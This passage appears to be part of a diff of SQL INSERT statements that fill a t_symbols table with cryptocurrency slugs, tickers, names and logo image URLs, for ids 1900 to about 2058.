NULL); +INSERT INTO `t_symbols` VALUES (1900, 'popularcoin', 'POP', 'PopularCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/popularcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1901, 'ip-exchange', 'IPSX', 'IP Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ip-exchange.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1902, 'ionchain-token', 'IONC', 'IONChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ionchain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1903, 'auctus', 'AUC', 'Auctus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auctus.png', NULL); +INSERT INTO `t_symbols` VALUES (1904, 'atlas-protocol', 'ATP', 'Atlas Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlas-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1905, 'caf', 'CAF', 'Charter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caf.png', NULL); +INSERT INTO `t_symbols` VALUES (1906, 'content-neutrality-network', 'CNN', 'Content Neutrality Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-neutrality-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1907, 'box', 'BOX', 'BOX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/box.png', NULL); +INSERT INTO `t_symbols` VALUES (1908, 'blockmason', 'BCPT', 'Blockmason Credit Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/blockmasonio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1909, 'breakout-stake', 'BRX', 'Breakout Stake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/breakout-stake.png', NULL); +INSERT INTO `t_symbols` VALUES (1910, 'yuki', 'YUKI', 'YUKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yuki.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1911, 'optimal-shelf-availability-token', 'OSA', 'OSA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimal-shelf-availability-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1912, 'contentbox', 'BOX', 'ContentBox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/contentbox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1913, 'magi', 'XMG', 'Magi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magi.png', NULL); +INSERT INTO `t_symbols` VALUES (1914, 'evedo', 'EVED', 'Evedo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d74f92e096c0117f746fa66f4de7ec7d.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1915, 'bcgchain', 'BCG', 'bcgchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1916, 'hondaiscoin', 'HNDC', 'HondaisCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hondaiscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1917, 'ares-protocol', 'ARES', 'Ares Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ares-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1918, 'aidcoin', 'AID', 'AidCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1919, 'oswap', 'OSWAP', 'OpenSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/openswap.png', NULL); +INSERT INTO `t_symbols` VALUES (1920, 'arbitragect', 'ARCT', 'ArbitrageCT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/arbitrage_ct.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1921, 'uctt', 'UCTT', 'uctt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uctt.png', NULL); +INSERT INTO `t_symbols` VALUES (1922, 'bitcoin-rhodium', 'XRC', 'xRhodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-rhodium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1923, 'ethereum-blue', 'BLUE', 'Blue Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-blue.png', NULL); +INSERT INTO `t_symbols` VALUES (1924, 'par', 'PAR', 'Parachute', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/par.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1925, 'appcoins', 'APPC', 'AppCoins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/appcoins.png', NULL); +INSERT INTO `t_symbols` VALUES (1926, 'earthfund', '1EARTH', 'EarthFund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/earthfund.png', NULL); +INSERT INTO `t_symbols` VALUES (1927, 'fcs', 'FCS', 'fcs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fcs.png', NULL); +INSERT INTO `t_symbols` VALUES (1928, 'cryptcoin', 'CRYPT', 'CryptCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1929, 'curecoin', 'CURE', 'Curecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1930, 'bitcoin-free-cash', 'BFC', 'Bitcoin Free Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-free-cash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1931, 'mithril-ore', 'MORE', 'Mithril Ore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mithril-ore.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1932, 'travelflex', 'TRF', 'Travelflex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/travelflex.png', NULL); +INSERT INTO `t_symbols` VALUES (1933, 'investfeed', 'IFT', 'InvestFeed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investfeed.png', NULL); +INSERT INTO `t_symbols` VALUES (1934, 'phore', 'PHR', 'Phore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phore.png', NULL); +INSERT INTO `t_symbols` VALUES (1935, 'vtorrent', 'VTR', 'vTorrent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Avatara_World.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1936, 'fsbt-api-token', 'FSBT', 'FSBT API Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fsbt-api-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1937, 'btcdo-coin', 'BDB', 'BtcdoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcdo-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1938, 'havy', 'HAVY', 'Havy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havy.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1939, 'decentralized-vulnerability-platform', 'DVP', 'Decentralized Vulnerability Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-vulnerability-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (1940, 'thpc', 'THPC', 'THPC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thpc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1941, 'mvg-network-token', 'IUT', 'ITO Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mvg-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1942, 'neverdie', 'NDC', 'NEVERDIE Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neverdie.png', NULL); +INSERT INTO `t_symbols` VALUES (1943, 'fanstime', 'FTI', 'FansTime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fanstime.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1944, 'mash', 'MASH', 'Masternet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mash.png', NULL); +INSERT INTO `t_symbols` VALUES (1945, 'hotc', 'HOTC', 'HOTchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hotc.png', NULL); +INSERT INTO `t_symbols` VALUES (1946, 'indicoin', 'INDI', 'Indicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Indi_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1947, 'xtrabytes', 'XBY', 'XTRABYTES', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/xtrabytes.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1948, 'ghny', 'GHNY', 'Grizzly Honey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/grizzlyfi.png', NULL); +INSERT INTO `t_symbols` VALUES (1949, 'opiria---pdata', 'PDATA', 'PDATA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/opiria---pdata.png', NULL); +INSERT INTO `t_symbols` VALUES (1950, 'pyrexcoin', 'GPYX', 'GoldenPyrex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pyrexcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1951, 'nrp', 'NRP', 'Neural Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nrp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1952, 'pikciochain', 'PKX', 'PikcioChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pikciochain.png', NULL); +INSERT INTO `t_symbols` VALUES (1953, 'autonio', 'NIOX', 'Autonio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/aI_Autonio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1954, 'cnmc', 'CNMC', 'CNMC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnmc.png', NULL); +INSERT INTO `t_symbols` VALUES (1955, 'litebitcoin', 'LBTC', 'LiteBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litebitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1956, 'cotrader', 'COT', 'CoTrader', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cotrader.png', NULL); +INSERT INTO `t_symbols` VALUES (1957, 'dit', 'DIT', 'Direct Insurance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1958, 'bitcoin-atom', 'BCA', 'Bitcoin Atom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/atombitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1959, 'platincoin', 'PLC', 'PlatinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/platincoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1960, 'emerald', 'EMD', 'Emerald Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emerald.png', NULL); +INSERT INTO `t_symbols` VALUES (1961, 'wave-edu-coin', 'WEC', 'wave edu coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wave-edu-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1962, 'read', 'READ', 'READ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/read.png', NULL); +INSERT INTO `t_symbols` VALUES (1963, 'the-cypherfunks', 'FUNK', 'The Cypherfunks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-cypherfunks.png', NULL); +INSERT INTO `t_symbols` VALUES (1964, 'qwark', 'QWARK', 'Qwark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qwark.png', NULL); +INSERT INTO `t_symbols` VALUES (1965, 'trumpcoin', 'FREED', 'Freedomcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trumpcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1966, 'xenon', 'XNN', 'Xenon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xenon.png', NULL); +INSERT INTO `t_symbols` VALUES (1967, 'chatcoin', 'CHAT', 'BeeChat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chatcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1968, 'chess-coin', 'CHESS', 'Chess Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chess-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1969, 'pccm', 'PCCM', 'PCCM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pccm.png', NULL); +INSERT INTO `t_symbols` VALUES (1970, 'uranus', 'URAC', 'Uranus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uranus.png', NULL); +INSERT INTO `t_symbols` VALUES (1971, 'influence-chain', 'INC', 'Influence Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/influence-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1972, 'eap', 'EAP', 'eap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eap.png', NULL); +INSERT INTO `t_symbols` VALUES (1973, 'hexx', 'HXX', 'Hexx', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1974, 'decentrahub-coin', 'DCNTR', 'Decentrahub Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentrahub-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1975, 'xel', 'XEL', 'XEL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xel.png', NULL); +INSERT INTO `t_symbols` VALUES (1976, 'innova', 'INN', 'Innova', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/innovacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1977, 'otcbtc-token', 'OTB', 'OTCBTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/otcbtc-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1978, 'gotoken', 'GOT', 'ParkinGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gotoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1979, 'banca', 'BANCA', 'Banca', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banca.png', NULL); +INSERT INTO `t_symbols` VALUES (1980, 'bitnation', 'XPAT', 'Bitnation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitnation.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1981, 'wrapped-cryptokitties', 'WCK', 'Wrapped CryptoKitties', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-cryptokitties.png', NULL); +INSERT INTO `t_symbols` VALUES (1982, 'reddit', 'DONUT', 'Donut', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reddit.png', NULL); +INSERT INTO `t_symbols` VALUES (1983, 'blocktix', 'TIX', 'Blocktix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocktix.png', NULL); +INSERT INTO `t_symbols` VALUES (1984, 'verify', 'CRED', 'Verify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/verif_yas.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1985, 'energy-agregator-token', 'EA', 'energy-agregator-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energy-agregator-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1986, 'publica', 'PBL', 'Pebbles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/publica.png', NULL); +INSERT INTO `t_symbols` VALUES (1987, 'tokenpay', 'TPAY', 'TokenPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1988, 'cryptonite', 'XCN', 'Cryptonite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoniteCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1989, 'streamity', 'STM', 'Streamity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/streamity.png', NULL); +INSERT INTO `t_symbols` VALUES (1990, 'bfb', 'BFB', 'bfb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bfb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1991, 'flo', 'FLO', 'FLO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flo.png', NULL); +INSERT INTO `t_symbols` VALUES (1992, 'peepcoin', 'PCN', 'PeepCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peepcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1993, 'nyzo', 'NYZO', 'Nyzo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyzo.png', NULL); +INSERT INTO `t_symbols` VALUES (1994, 'dragonkart', 'KART', 'Dragon Kart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (1995, 'polkarare', 'PRARE', 'Polkarare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkarare.png', NULL); +INSERT INTO `t_symbols` VALUES (1996, 'howdoo', 'UDOO', 'Hyprr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/howdoo.png', NULL); +INSERT INTO `t_symbols` VALUES (1997, 'tellus', 'TLS', 'tellus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellus.png', NULL); +INSERT INTO `t_symbols` VALUES (1998, 'coinness', 'CNNS', 'CNNS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/17ffaa542e2c4d025632fc8342bd44c4.png', NULL); +INSERT INTO `t_symbols` VALUES (1999, 'hda', 'HDA', 'hda', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2000, 'vidulum', 'VDL', 'Vidulum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vidulum.png', NULL); +INSERT INTO `t_symbols` VALUES (2001, 'ether-zero', 'ETZ', 'Ether Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ether-zero.png', NULL); +INSERT INTO `t_symbols` VALUES (2002, 'ebank', 'EBANK', 'ebank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebank.png', NULL); +INSERT INTO `t_symbols` VALUES (2003, 'sureremit', 'RMT', 'SureRemit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sureremit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2004, 'bird', 'BIRD', 'Birdchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bird.png', NULL); +INSERT INTO `t_symbols` VALUES (2005, 'datawallet', 'DXT', 'Datawallet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/DataWalletHQ.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2006, 'drct', 'DRCT', 'DRC Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drct.png', NULL); +INSERT INTO `t_symbols` VALUES (2007, 'plair', 'PLA', 'Plair', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plair.png', NULL); +INSERT INTO `t_symbols` VALUES (2008, 'cryptoescudo', 'CESC', 'CryptoEscudo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cryptoescudo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2009, 'maxcoin', 'MAX', 'Maxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2010, 'cybervein', 'CVT', 'CyberVein', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybervein.png', NULL); +INSERT INTO `t_symbols` VALUES (2011, 'sakura-bloom', 'SKB', 'Sakura Bloom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sakura-bloom.png', NULL); +INSERT INTO `t_symbols` VALUES (2012, 'hashgard', 'GARD', 'Hashgard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashgard.png', NULL); +INSERT INTO `t_symbols` VALUES (2013, 'fire-lotto', 'FLOT', 'Fire Lotto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fire-lotto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2014, 'switch', 'ESH', 'Switch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/switch.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2015, 'rimbit', 'RBT', 'Rimbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RimbitCrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2016, 'bitgreen', 'BITG', 'Bitcoin Green', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgreen.png', NULL); +INSERT INTO `t_symbols` VALUES (2017, 'axpire', 'AXPR', 'Moola', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axpire.png', NULL); +INSERT INTO `t_symbols` VALUES (2018, 'blockmesh', 'BMH', 'BlockMesh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockmesh.png', NULL); +INSERT INTO `t_symbols` VALUES (2019, 'xiotri', 'XIOT', 'Xiotri', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xiotri.png', NULL); +INSERT INTO `t_symbols` VALUES (2020, 'xcash', 'XCASH', 'X-CASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2021, 'breezecoin', 'BRZE', 'Breezecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/breezecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2022, 'bitcurrency', 'BC', 'Bitcurrency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcurrency.png', NULL); +INSERT INTO `t_symbols` VALUES (2023, 'apollon', 'XAP', 'Apollon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apollon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2024, 'blockcdn', 'BCDN', 'BlockCDN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockcdn.png', NULL); +INSERT INTO `t_symbols` VALUES (2025, 'exchangen', 'EXN', 'ExchangeN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchangen.png', NULL); +INSERT INTO `t_symbols` VALUES (2026, 'shareschain', 'SCTK', 'SharesChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shareschain.png', NULL); +INSERT INTO `t_symbols` VALUES (2027, 'ine', 'INE', 'IntelliShare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ine.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2028, 'imos', 'IMOS', 'IMOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imos.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2029, 'truckcoin', 'TRK', 'Truckcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truckcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2030, 'mercurial', 'MER', 'Mercurial', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mercurial.png', NULL); +INSERT INTO `t_symbols` VALUES (2031, 'yap-stone', 'YAP', 'Yap Stone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yap-stone.png', NULL); +INSERT INTO `t_symbols` VALUES (2032, 'tret', 'TRET', 'Tourist Review Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tret.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2033, 'unipower', 'POWER', 'UniPower', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unipower.png', NULL); +INSERT INTO `t_symbols` VALUES (2034, 'photon', 'PHO', 'Photon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/photon.png', NULL); +INSERT INTO `t_symbols` VALUES (2035, 'tittiecoin', 'TIT', 'TittieCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tittiecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2036, 'trinity-network-credit', 'TNC', 'Trinity Network Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trinity-network-credit.png', NULL); +INSERT INTO `t_symbols` VALUES (2037, 'tai-ji-chain', 'OCC', 'tai-ji-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2038, 'chips', 'CHIPS', 'CHIPS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chips.png', NULL); +INSERT INTO `t_symbols` VALUES (2039, 'giga-watt-token', 'WTT', 'Giga Watt Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/gigawatt_mining.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2040, 'plusonecoin', 'PLUS1', 'PlusOneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plusonecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2041, 'powercandy', 'POC', 'Power candy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/powercandy.png', NULL); +INSERT INTO `t_symbols` VALUES (2042, 'cappasity', 'CAPP', 'Cappasity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cappasity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2043, 'ddkoin', 'DDK', 'DDKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ddkoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2044, 'ablx', 'ABLX', 'ABLE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ablx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2045, 'matrexcoin', 'MAC', 'Matrexcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matrexcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2046, 'atmos', 'ATMS', 'Atmos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atmos.png', NULL); +INSERT INTO `t_symbols` VALUES (2047, 'sterlingcoin', 'SLG', 'Sterlingcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sterlingcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2048, 'exchangecoin', 'EXCC', 'ExchangeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchangecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2049, 'leadcoin', 'LDC', 'Leadcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leadcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2050, 'yinfinance-yintoken', 'YIN', 'YIN Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/yinfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (2051, 'neurotoken', 'NTK', 'Neurotoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurotoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2052, 'standard', 'STND', 'Standard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/standard.png', NULL); +INSERT INTO `t_symbols` VALUES (2053, 'fintrux-network', 'FTX', 'FintruX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fintrux-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2054, 'flux', 'FLUX', 'Datamine FLUX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flux.png', NULL); +INSERT INTO `t_symbols` VALUES (2055, 'boxx-token-blockparty', 'BOXX', 'Blockparty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boxx-token-blockparty.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2056, 'obsidian', 'ODN', 'Obsidian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/obsidian.png', NULL); +INSERT INTO `t_symbols` VALUES (2057, 'delphy', 'DPY', 'Delphy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/delphy.png', NULL); +INSERT INTO `t_symbols` VALUES (2058, 'starbase', 'STAR', 'Starbase', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starbase.png', NULL); +INSERT INTO 